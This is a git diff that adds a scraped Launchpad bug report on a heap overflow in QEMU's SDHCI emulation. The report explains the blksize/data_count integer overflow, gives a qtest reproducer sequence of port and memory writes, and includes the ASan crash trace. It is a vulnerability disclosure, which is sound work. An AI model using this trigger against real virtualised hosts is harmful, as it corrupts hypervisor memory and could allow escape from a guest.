diff options
Diffstat (limited to '')
| -rw-r--r-- | results/scraper/launchpad-without-comments/1909418 | 188 |
1 files changed, 188 insertions, 0 deletions
diff --git a/results/scraper/launchpad-without-comments/1909418 b/results/scraper/launchpad-without-comments/1909418 new file mode 100644 index 00000000..d4e3efd0 --- /dev/null +++ b/results/scraper/launchpad-without-comments/1909418 @@ -0,0 +1,188 @@ +QEMU: Heap Overflow vulnerability in SDHCI Component + +Hello, i want to report qemu vulnerability in SDHCI component, this is integer overflow bug leads to oob read/write in the heap, that can happens in sdhci_do_adma or sdhci_sdma_transfer_multi_blocks. + +This is caused when in the middle of unfinished transfer, blksize can change, but the data_count still have the last offset of fifo_buffer from the last transfer. We change blksize to zero, then in the next transfer dma_memory_read/dma_memory_write in the first loop calculate length as blksize-data_count, this leads to integer overflow, because blksize is zero, and data_count can be more than zero. + +This bug is recorded in CVE-2020-25085, but the fix is not complete and not fix the root cause of the bug. + +Reproducer: +outl 0xcf8 0x80001010 +outl 0xcfc 0xd7055dba +outl 0xcf8 0x80001003 +outl 0xcfc 0x86b1d733 +write 0x00 0x1 0x29 +write 0x02 0x1 0x10 +write 0x08 0x1 0x39 +writeb 0xd7055d2b 0x5e +writel 0xd7055d2c 0xed7d735 +writew 0xd7055d30 0x126e +writeb 0xd7055d32 0x84 +writel 0xd7055d24 0xd7346e01 +writew 0xd7055d28 0x3bd7 +writeb 0xd7055d2a 0x1 +writeb 0xd7055d05 0x2c +writew 0xd7055d06 0x5c4 +writeb 0xd7055d0c 0x21 +writew 0xd7055d0e 0x846e +writel 0xd7055d04 0x260000 +writew 0xd7055d08 0x0 +writeb 0xd7055d0a 0x6d +writeb 0xd7055d0c 0x31 +clock_step +EOF + +➜ x86_64-softmmu git:(master) ✗ ./qemu-system-x86_64 -m 4G -nodefaults -trace 'sdhci*' -device sdhci-pci,sd-spec-version=3 -device sd-card,drive=mydrive -drive if=sd,index=0,file=null-co://,format=raw,id=mydrive -nographic -qtest stdio -accel qtest +==410717==WARNING: ASan doesn't fully support makecontext/swapcontext functions and may produce false positives in some cases! +[I 1609122395.789698] OPENED +qemu-system-x86_64: -drive if=sd,index=0,file=null-co://,format=raw,id=mydrive: warning: bogus if=sd is deprecated, use if=none +[R +0.037381] outl 0xcf8 0x80001010 +[S +0.037436] OK +OK +[R +0.037470] outl 0xcfc 0xd7055dba +[S +0.037510] OK +OK +[R +0.037531] outl 0xcf8 0x80001003 +[S +0.037549] OK +OK +[R +0.037571] outl 0xcfc 0x86b1d733 +[S +0.039830] OK +OK +[R +0.039882] write 0x00 0x1 0x29 +[S +0.040364] OK +OK +[R +0.040401] write 0x02 0x1 0x10 +[S +0.040428] OK +OK +[R +0.040449] write 0x08 0x1 0x39 +[S +0.040472] OK +OK +[R +0.040491] writeb 0xd7055d2b 0x5e +[S +0.040530] OK +OK +[R +0.040550] writel 0xd7055d2c 0xed7d735 +[S +0.040575] OK +OK +[R +0.040594] writew 0xd7055d30 0x126e +[S +0.040620] OK +OK +[R +0.040638] writeb 0xd7055d32 0x84 +[S +0.040658] OK +OK +[R +0.040676] writel 0xd7055d24 0xd7346e01 +[S +0.040697] OK +OK +[R +0.040715] writew 0xd7055d28 0x3bd7 +[S +0.040738] OK +OK +[R +0.040756] writeb 0xd7055d2a 0x1 +[S +0.040779] OK +OK +[R +0.040797] writeb 0xd7055d05 0x2c +[S +0.040819] OK +OK +[R +0.040840] writew 0xd7055d06 0x5c4 +[S +0.040862] OK +OK +[R +0.040882] writeb 0xd7055d0c 0x21 +[S +0.040907] OK +OK +[R +0.040927] writew 0xd7055d0e 0x846e +[S +0.041026] OK +OK +[R +0.041054] writel 0xd7055d04 0x260000 +[S +0.041115] OK +OK +[R +0.041139] writew 0xd7055d08 0x0 +================================================================= +==410717==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x615000024180 at pc 0x7fe40cb7457d bp 0x7fffa1a7b800 sp 0x7fffa1a7afa8 +WRITE of size 786432 at 0x615000024180 thread T0 + #0 0x7fe40cb7457c (/lib/x86_64-linux-gnu/libasan.so.5+0x9b57c) + #1 0x55f804942120 in flatview_read_continue ../../softmmu/physmem.c:2829 + #2 0x55f8049423dd in flatview_read ../../softmmu/physmem.c:2862 + #3 0x55f804942581 in address_space_read_full ../../softmmu/physmem.c:2875 + #4 0x55f804942800 in address_space_rw ../../softmmu/physmem.c:2903 + #5 0x55f8038d6a92 in dma_memory_rw_relaxed /home/n0p/belajar/qemu/source/qemu/include/sysemu/dma.h:88 + #6 0x55f8038d6adf in dma_memory_rw /home/n0p/belajar/qemu/source/qemu/include/sysemu/dma.h:127 + #7 0x55f8038d6b17 in dma_memory_read /home/n0p/belajar/qemu/source/qemu/include/sysemu/dma.h:145 + #8 0x55f8038e47d9 in sdhci_do_adma ../../hw/sd/sdhci.c:807 + #9 0x55f8038e6081 in sdhci_data_transfer ../../hw/sd/sdhci.c:905 + #10 0x55f8038e694c in sdhci_resume_pending_transfer ../../hw/sd/sdhci.c:962 + #11 0x55f8038e9227 in sdhci_write ../../hw/sd/sdhci.c:1118 + #12 0x55f804856869 in memory_region_write_accessor ../../softmmu/memory.c:491 + #13 0x55f804856cf4 in access_with_adjusted_size ../../softmmu/memory.c:552 + #14 0x55f804863f28 in memory_region_dispatch_write ../../softmmu/memory.c:1501 + #15 0x55f8049419ce in flatview_write_continue ../../softmmu/physmem.c:2759 + #16 0x55f804941da4 in flatview_write ../../softmmu/physmem.c:2799 + #17 0x55f804942724 in address_space_write ../../softmmu/physmem.c:2891 + #18 0x55f804a9bee3 in qtest_process_command ../../softmmu/qtest.c:529 + #19 0x55f804aa0dea in qtest_process_inbuf ../../softmmu/qtest.c:797 + #20 0x55f804aa0edb in qtest_read ../../softmmu/qtest.c:809 + #21 0x55f804ffb687 in qemu_chr_be_write_impl ../../chardev/char.c:201 + #22 0x55f804ffb731 in qemu_chr_be_write ../../chardev/char.c:213 + #23 0x55f804fe5369 in fd_chr_read ../../chardev/char-fd.c:68 + #24 0x55f804f9b2dd in qio_channel_fd_source_dispatch ../../io/channel-watch.c:84 + #25 0x7fe40c548e8d in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x51e8d) + #26 0x55f80540b38e in glib_pollfds_poll ../../util/main-loop.c:221 + #27 0x55f80540b56f in os_host_main_loop_wait ../../util/main-loop.c:244 + #28 0x55f80540b871 in main_loop_wait ../../util/main-loop.c:520 + #29 0x55f80478602b in qemu_main_loop ../../softmmu/runstate.c:720 + #30 0x55f8038091c9 in main ../../softmmu/main.c:50 + #31 0x7fe409dc80b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) + #32 0x55f8038090dd in _start (/home/n0p/belajar/qemu/source/qemu/bin/new/qemu-system-x86_64+0x28d10dd) + +0x615000024180 is located 0 bytes to the right of 512-byte region [0x615000023f80,0x615000024180) +allocated by thread T0 here: + #0 0x7fe40cbe6dc6 in calloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10ddc6) + #1 0x7fe40c54ed30 in g_malloc0 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x57d30) + #2 0x55f8040cd37b in sdhci_pci_realize ../../hw/sd/sdhci-pci.c:36 + #3 0x55f80411c6f5 in pci_qdev_realize ../../hw/pci/pci.c:2124 + #4 0x55f804fc7834 in device_set_realized ../../hw/core/qdev.c:761 + #5 0x55f804f8002c in property_set_bool ../../qom/object.c:2251 + #6 0x55f804f7a840 in object_property_set ../../qom/object.c:1399 + #7 0x55f804f83419 in object_property_set_qobject ../../qom/qom-qobject.c:28 + #8 0x55f804f7ae44 in object_property_set_bool ../../qom/object.c:1466 + #9 0x55f804fc417a in qdev_realize ../../hw/core/qdev.c:389 + #10 0x55f803da8bb7 in qdev_device_add ../../softmmu/qdev-monitor.c:665 + #11 0x55f8047f5408 in device_init_func ../../softmmu/vl.c:1201 + #12 0x55f8053d3644 in qemu_opts_foreach ../../util/qemu-option.c:1147 + #13 0x55f8047fc593 in qemu_create_cli_devices ../../softmmu/vl.c:2488 + #14 0x55f8047fc6fa in qmp_x_exit_preconfig ../../softmmu/vl.c:2527 + #15 0x55f804801c8e in qemu_init ../../softmmu/vl.c:3534 + #16 0x55f8038091c4 in main ../../softmmu/main.c:49 + #17 0x7fe409dc80b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) + +SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/libasan.so.5+0x9b57c) +Shadow bytes around the buggy address: + 0x0c2a7fffc7e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c2a7fffc7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x0c2a7fffc800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x0c2a7fffc810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x0c2a7fffc820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +=>0x0c2a7fffc830:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c2a7fffc840: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c2a7fffc850: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c2a7fffc860: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c2a7fffc870: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c2a7fffc880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +Shadow byte legend (one shadow byte represents 8 application bytes): + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Freed heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + Container overflow: fc + Array cookie: ac + Intra object redzone: bb + ASan internal: fe + Left alloca redzone: ca + Right alloca redzone: cb + Shadow gap: cc +==410717==ABORTING
\ No newline at end of file |